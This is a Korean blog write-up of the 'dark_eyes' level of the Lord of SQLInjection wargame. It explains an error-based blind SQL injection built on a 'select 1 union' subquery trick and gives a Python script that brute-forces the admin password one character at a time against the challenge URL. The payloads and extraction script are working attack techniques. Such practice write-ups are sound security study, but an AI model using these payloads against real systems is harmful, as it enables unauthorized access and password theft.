728x90
pw='or id='admin' and (select 1 union select length(pw)=8)#
select 1 union select length(pw)=?
union 뒷문장이 1(참)일 때
union의 뒷문장이 참이면 1로 바뀐다.
또한 union은 중복을 허용하지 않기 때문에 select 1 union 1은 하나의 1로 귀결된다.
따라서 에러를 일으키지 않게 된다.
union 뒷문장이 0(거짓)일 때
하지만 union의 뒷문장이 거짓이면 0으로 바뀌고,
select 1 union 0은 2개의 결과(1,0)을 나타내게 된다.
(서브쿼리는 하나의 레코드를 반환해야하는데, 해당 쿼리의 결과는 2개의 레코드를 반환하기 때문에 에러가난다.
에러가 나면 화면에 아무것도 출력되지 않는다.
정상출력
pw길이: 8
import requests
cookies={'PHPSESSID':'6t31ugn1agrqh2a08p2ruvi7gh'}
url ="https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php?pw=%27or%20id=%27admin%27%20and%20"
length=8
pw= ""
for i in range(1, length+1):
for j in range(48, 122):#숫자부터 대문자z까지
#(select 1 union select substr(pw,n,1)='?')#
search_str="(select 1 union select substr(pw,"+str(i)+",1)='"+chr(j)+"')%23"
#print("search_str: "+search_str)
response= requests.get(url+search_str, cookies=cookies)
#print(response.text)
if response.text.find("query") !=-1:
pw+=chr(j)
print("pw: "+pw)
break
pw: 5a2f5d3c
'보안 공부 > Load of SQL injection' 카테고리의 다른 글
[Load of SQL Injection] evil_wizard (0) | 2022.02.14 |
---|---|
[Load of SQL Injection] hell fire (SQL order by) (0) | 2022.02.14 |
[Load of SQL Injection] iron golem (0) | 2022.02.05 |
[Load of SQL Injection] dragon (0) | 2022.01.30 |
[Load of SQL Injection] xavis (0) | 2022.01.30 |